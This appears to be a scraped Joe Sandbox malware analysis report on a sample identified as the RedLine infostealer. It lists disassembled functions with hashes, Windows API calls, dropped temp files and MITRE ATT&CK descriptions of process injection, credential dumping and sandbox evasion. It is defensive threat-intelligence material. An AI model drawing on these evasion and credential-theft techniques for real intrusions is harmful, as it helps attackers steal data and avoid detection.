
APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 05E1FF69

Memory Dump Source

Source File: 00000000.00000002.1788606314.0000000005E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_2BuZaUic3i.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 7d05f71016124b0c6c71947d41842dbf26cba781d96816684d80e84fc8b9af4c
Instruction ID: c967fbd0b030040dc825a8cfb834243d4eb2d402a1665b51eab42307d49c4998
Opcode Fuzzy Hash: 7d05f71016124b0c6c71947d41842dbf26cba781d96816684d80e84fc8b9af4c
Instruction Fuzzy Hash: 57315CB1C012598FCB10CFA9D4847DEFBF1EF48320F15816AE858E7245D7749944CBA4

Function 01230CE0 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 01230D47

Memory Dump Source

Source File: 00000000.00000002.1785245733.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_2BuZaUic3i.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 85d8a80cf8864f327010b1a34d369aa8f0dcdac4b403617db0ecfa2ef3839fa0
Instruction ID: 347a46c2dbe1358f3f54ae2b8c2cc4ed4edc91ef58d8072e9b7a47629e0b0f5c
Opcode Fuzzy Hash: 85d8a80cf8864f327010b1a34d369aa8f0dcdac4b403617db0ecfa2ef3839fa0
Instruction Fuzzy Hash: 211146B1D003498FCB24DFAAC4497EEFFF5EB88324F24841AC419A7240C735A544CBA4

Function 01230CE8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 01230D47

Memory Dump Source

Source File: 00000000.00000002.1785245733.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_2BuZaUic3i.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 441955ec63a67fd5352d114120f09b7ffbe8483033a2222fb40db887292a18ee
Instruction ID: 3535b4aedbb067d4d744c83e386126f41e09c01257ff86ea0b8095405fe7c9b4
Opcode Fuzzy Hash: 441955ec63a67fd5352d114120f09b7ffbe8483033a2222fb40db887292a18ee
Instruction Fuzzy Hash: B91136B19003098FCB24DFAAC4497DEFFF5EB88324F208419D519A7240CB75A544CBA4

Function 06881550 Relevance: 1.4, Instructions: 1415
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1789021824.0000000006880000.00000040.00000800.00020000.00000000.sdmp, Offset: 06880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6880000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f8df1ff6cafdc49fa49118b7ce6ba936ef83326dc6e114cd641c5cf976f0e5b
Instruction ID: 3bc73de3bfe6a75f5e5db9407f158927b0a405a03bd7683adc92e7b347196e71
Opcode Fuzzy Hash: 8f8df1ff6cafdc49fa49118b7ce6ba936ef83326dc6e114cd641c5cf976f0e5b
Instruction Fuzzy Hash: 63C26034B002189FCB55EF54C895AADBBB6FF88704F51809AE609AB361DB31ED41CF91

Function 0688349D Relevance: 1.3, Instructions: 1279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1789021824.0000000006880000.00000040.00000800.00020000.00000000.sdmp, Offset: 06880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6880000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c447db6756f13030f2b37ea2777ddedd32156ef36597a0c660296acecb5366e3
Instruction ID: 01f19ac9c89fd3648ca0baee77f775266f57c2b794207249fc85ea84edfddd4b
Opcode Fuzzy Hash: c447db6756f13030f2b37ea2777ddedd32156ef36597a0c660296acecb5366e3
Instruction Fuzzy Hash: 6EA1A074B002059FCB44EBA8C854A6EBBF2FF89714B11846AE616DB3A1CB35DC05CB61

Function 06880048 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1789021824.0000000006880000.00000040.00000800.00020000.00000000.sdmp, Offset: 06880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6880000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b082a99f963f70265b18ee8afbbefd5144926aaf5e177c796fd8e8aa72e053f3
Instruction ID: 85c18361caf71ceec15c6f9ce8d7edb27ff458343f5c300777c5c526602869a9
Opcode Fuzzy Hash: b082a99f963f70265b18ee8afbbefd5144926aaf5e177c796fd8e8aa72e053f3
Instruction Fuzzy Hash: A3428870B006298FCB64AF68D45066EBBF2FFD1715F504A4CD5039B3A5CBB9E8058B86

Function 06880003 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1789021824.0000000006880000.00000040.00000800.00020000.00000000.sdmp, Offset: 06880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6880000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e50e36ab8881ab4abc7cb5fc9ddbf513e7e91f890ad6ae325e5346ce2a6ca40
Instruction ID: 277b58d2f01d700d9248139221842823177f37832113cffb851f30025a6647c4
Opcode Fuzzy Hash: 8e50e36ab8881ab4abc7cb5fc9ddbf513e7e91f890ad6ae325e5346ce2a6ca40
Instruction Fuzzy Hash: 56D1AB30B00204DFDB45AFA4C855A6E7BF6BF99704F54808AE601DB3A2CBB1DC49CB91

Function 06881533 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1789021824.0000000006880000.00000040.00000800.00020000.00000000.sdmp, Offset: 06880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6880000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f1884ddb3df86f2cc7ed06fefc7a4cf9c4d8b511674e7b0e8edeac7fd2450ca
Instruction ID: 5e4567a939551dd2b5d5858c6718a6e7b87a26827b9df188e50c2f799f5099b2
Opcode Fuzzy Hash: 8f1884ddb3df86f2cc7ed06fefc7a4cf9c4d8b511674e7b0e8edeac7fd2450ca
Instruction Fuzzy Hash: 01C14E38B00505AFCB48DF98C989E9DBBB6FF49704B908055EA05EB761CB72EC45CB51

Function 06881308 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1789021824.0000000006880000.00000040.00000800.00020000.00000000.sdmp, Offset: 06880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6880000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9e273b9cc27cd41e1629cc017288c0d49037be95935dfdbca52f8c531105817
Instruction ID: 4ab63fc8d1ebd920f04a129bda02a3eff0fd06f18880717662f8c2c0769d43c6
Opcode Fuzzy Hash: b9e273b9cc27cd41e1629cc017288c0d49037be95935dfdbca52f8c531105817
Instruction Fuzzy Hash: 2F615531B043068FCB60AF7DC84446EBBE6EFC6215B24846ADA85DB251EF31CD46C7A1

Function 0688338B Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1789021824.0000000006880000.00000040.00000800.00020000.00000000.sdmp, Offset: 06880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6880000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 085ec2b230821c2e58dce03a016783bd549827cc6a2b5fb5a3c93ff7066ae45a
Instruction ID: 906d018099a588a25e10a7e4a04fb855895f0633a24d26546f45301712130b04
Opcode Fuzzy Hash: 085ec2b230821c2e58dce03a016783bd549827cc6a2b5fb5a3c93ff7066ae45a
Instruction Fuzzy Hash: 4A213D75B40104AFCB14DF69D984EADBBB2EF88714F1180A5FA059F361DA31EC05CB50

Function 011DD054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785084594.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11dd000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8333e5016f1f385944075340506c630c4b49eebf078c6d8f461b9244b4f2ee75
Instruction ID: 8dd51c1614785f6e7b843c7fa6b83795d53bca5a3d8d9a05c8eeafe2251f4cb6
Opcode Fuzzy Hash: 8333e5016f1f385944075340506c630c4b49eebf078c6d8f461b9244b4f2ee75
Instruction Fuzzy Hash: 1F21CB75504240DFDF19DFA4E9C4B26BFA5FB88314F24C659E9090B296C336D416CB62

Function 011ED2F4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785107921.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11ed000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 167f80552d034bd4e7c3d51cf186120183a9e80d9b52fa4eaae4a6720533bfbe
Instruction ID: 2f8dde5cddae8cf81d0fcc41a89a1f8c2520b12990d83debe0cd4bb9e68ff4b2
Opcode Fuzzy Hash: 167f80552d034bd4e7c3d51cf186120183a9e80d9b52fa4eaae4a6720533bfbe
Instruction Fuzzy Hash: C621D7F5608644DFDF09DF98E588B1ABBE5FB84324F24C669D8094B246C33AD406C6A2

Function 011ED4A4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785107921.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11ed000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d7e7cfa977713e9c02c8b584dfc20ffe92288683bdb32683fe70df514a54386
Instruction ID: 99816e831a41d7212ac71dd6cc785e8192f90150b1e9fe921f29e70612a0abaa
Opcode Fuzzy Hash: 2d7e7cfa977713e9c02c8b584dfc20ffe92288683bdb32683fe70df514a54386
Instruction Fuzzy Hash: 4C2103B1604604DFCF09CF98E5C8B25BBB5FB84318F20C96DD90A4B292C736D406CB62

Function 011DD04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785084594.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11dd000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85e589ff89d53fefa928555ed391731ad88d74b974b24a20ba51987b010bfd2c
Instruction ID: 6c18e95f9e3376210243a560ddded4e36d23434ec786bbaff4f9eff6dec8f088
Opcode Fuzzy Hash: 85e589ff89d53fefa928555ed391731ad88d74b974b24a20ba51987b010bfd2c
Instruction Fuzzy Hash: 7A219D76504280DFDF1ADF54E9C4B16BF72FB88314F24C6A9D9490A296C33AD426CB91

Function 011ED49F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785107921.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11ed000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: c64638052e6184a471a10e2097490d86a3485dad77787fa510fb4946c5903292
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: FC11BE75504640CFDB06CF58D5C8B15BFB2FB84218F24C6A9D94A4B292C33AD40ACB51

Function 011ED2EF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785107921.00000000011ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 011ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11ed000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 118f051af2fa4d3b71157da4c1d703aecab942a5cdb4903c1e78cbe3821e71d1
Instruction ID: e7474a86adf852eec96dd7ea7a7a0c7515644ddc1ea631f71c5fb08ac2231e35
Opcode Fuzzy Hash: 118f051af2fa4d3b71157da4c1d703aecab942a5cdb4903c1e78cbe3821e71d1
Instruction Fuzzy Hash: 9411C8B5508640CFDB16CF54E5C8719FFB1FB84324F24C6A9D8494B656C33AD406CBA1

Function 011DDAD1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785084594.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11dd000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f82fea9b89c3f01e64ae94ebe6a3fb679b6cc127b873d9bbe86b38de5a963647
Instruction ID: 962a411a598471168a9d8d1ac81b3931f8f1ec900c1bdb68701aa22b764fa206
Opcode Fuzzy Hash: f82fea9b89c3f01e64ae94ebe6a3fb679b6cc127b873d9bbe86b38de5a963647
Instruction Fuzzy Hash: 5C012B320083449AEB288AA9DCC4B26FFD8DF52329F08C459ED090B2C3C7789840C772

Function 011DDAD0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785084594.00000000011DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11dd000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c7f8685956da098e585731a05f9a53a295806939fedf5265b97a6b29a3e192b
Instruction ID: 115ea019caf88eee1594635d2c9e2bc4a2de102b294c5cebbe9dbb6fa2587373
Opcode Fuzzy Hash: 2c7f8685956da098e585731a05f9a53a295806939fedf5265b97a6b29a3e192b
Instruction Fuzzy Hash: 9BF0C232404344AEEB248A0ADC84B62FFD8EB81338F18C05AED084E2C6C3789844CB70

Non-executed Functions

Function 0123DC90 Relevance: 1.6, Strings: 1, Instructions: 371COMMON

Download Yara Rule

Strings

Hhq, xrefs: 0123DDA4

Memory Dump Source

Source File: 00000000.00000002.1785245733.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID: Hhq
API String ID: 0-4210879014
Opcode ID: 7052fc22b408c88ba06dff947e3675319996b6e4a43f41e7b625cf2c8a5a6884
Instruction ID: cb26939dc10f239490e9be4ff553fb2839999e327baf27e914d7e5f418a66183
Opcode Fuzzy Hash: 7052fc22b408c88ba06dff947e3675319996b6e4a43f41e7b625cf2c8a5a6884
Instruction Fuzzy Hash: 7DD18FB4B102198FCB04DBB8C854A6EBBF6EFC8240B548469DA05DB3A5DF34DC02CB91

Function 05E1EA98 Relevance: 1.6, Strings: 1, Instructions: 308COMMON

Download Yara Rule

Strings

fiq, xrefs: 05E1EAF8

Memory Dump Source

Source File: 00000000.00000002.1788606314.0000000005E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID: fiq
API String ID: 0-1578194676
Opcode ID: cb3e1d6ca18331b8012be1a37815ff0f6f4976d1761dd10679af2ae69ba673e0
Instruction ID: 5f47cff0aab256ce08144bab8d6117403e1732836797cee4b355beac180224f6
Opcode Fuzzy Hash: cb3e1d6ca18331b8012be1a37815ff0f6f4976d1761dd10679af2ae69ba673e0
Instruction Fuzzy Hash: ABB1D335B007099BDB18EF70C820AAB7767FBD4304F518529E41A6B399DFB2AC42D781

Function 05E1EAA8 Relevance: 1.5, Strings: 1, Instructions: 297COMMON

Download Yara Rule

Strings

fiq, xrefs: 05E1EAF8

Memory Dump Source

Source File: 00000000.00000002.1788606314.0000000005E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID: fiq
API String ID: 0-1578194676
Opcode ID: 5565ea3bfbdfc1ac42ae7eeebb3aa0d8e29d522b1ec4d3fb4c87ed044e5f5667
Instruction ID: be4c0f7b2babcb2a3aa3200b4c0cee7fc83515919e610b9979b5b951437f761e
Opcode Fuzzy Hash: 5565ea3bfbdfc1ac42ae7eeebb3aa0d8e29d522b1ec4d3fb4c87ed044e5f5667
Instruction Fuzzy Hash: 59B1A375B007099BDB18EF70C820AAB7367FBD4304F518529E41A6B399DFB2AC42D781

Function 05E14468 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1788606314.0000000005E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3ad4319ab00e045a5bec829fb049f42e256533e9bb3b92d5bb60308d5fb48e4
Instruction ID: 9f0798c0cb68165896ac75dc3e257e6e8e274999332a8a249b1326b35e37dffc
Opcode Fuzzy Hash: c3ad4319ab00e045a5bec829fb049f42e256533e9bb3b92d5bb60308d5fb48e4
Instruction Fuzzy Hash: 6C82A274604216CFEF64DF24D954B6A77F2BF85308F1081A9C84A9B7AAEB309C85DF50

Function 05E11210 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1788606314.0000000005E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eac67cf44dd85738d4fc5ee6897585a53bc8cbc49b2f99c86f5bf522548188d
Instruction ID: b5734daaec74691dac9a65bb65b05c32cc77debe9a46e83e830cd6de51ef63b2
Opcode Fuzzy Hash: 5eac67cf44dd85738d4fc5ee6897585a53bc8cbc49b2f99c86f5bf522548188d
Instruction Fuzzy Hash: F5F14F74B003199FDB08EBA4D899ABEBBB6FF88341F504419E519EB394CB34AC41DB15

Function 06880D50 Relevance: 10.3, Strings: 8, Instructions: 298COMMON

Download Yara Rule

Strings

$dq, xrefs: 06880E1C
$dq, xrefs: 06880F50
$dq, xrefs: 06880F00
$dq, xrefs: 06880F76
$dq, xrefs: 06880E42
$dq, xrefs: 06880F82
$dq, xrefs: 06880DCC
$dq, xrefs: 06880E4E

Memory Dump Source

Source File: 00000000.00000002.1789021824.0000000006880000.00000040.00000800.00020000.00000000.sdmp, Offset: 06880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6880000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID: $dq$$dq$$dq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-634254105
Opcode ID: 5bd8a88ce0639e1323a572eeb2a9a8164e559f03d3e48ccaf6bb95c3faec838b
Instruction ID: 19f5e0a637704405d39063e8ee05d59980f7bf82fc1cbf72ed2315e8a7061ed4
Opcode Fuzzy Hash: 5bd8a88ce0639e1323a572eeb2a9a8164e559f03d3e48ccaf6bb95c3faec838b
Instruction Fuzzy Hash: 7CB1D130B002099FDB55EB69C8549BEBBF7BF88300B14845AE516CB3A1CB74DC46CBA1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2BuZaUic3i.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2BuZaUic3i.exe.log

C:\Users\user\AppData\Local\Temp\tmp1C61.tmp

C:\Users\user\AppData\Local\Temp\tmp1C82.tmp

C:\Users\user\AppData\Local\Temp\tmp1C92.tmp

C:\Users\user\AppData\Local\Temp\tmp1CA3.tmp

C:\Users\user\AppData\Local\Temp\tmp1CB4.tmp

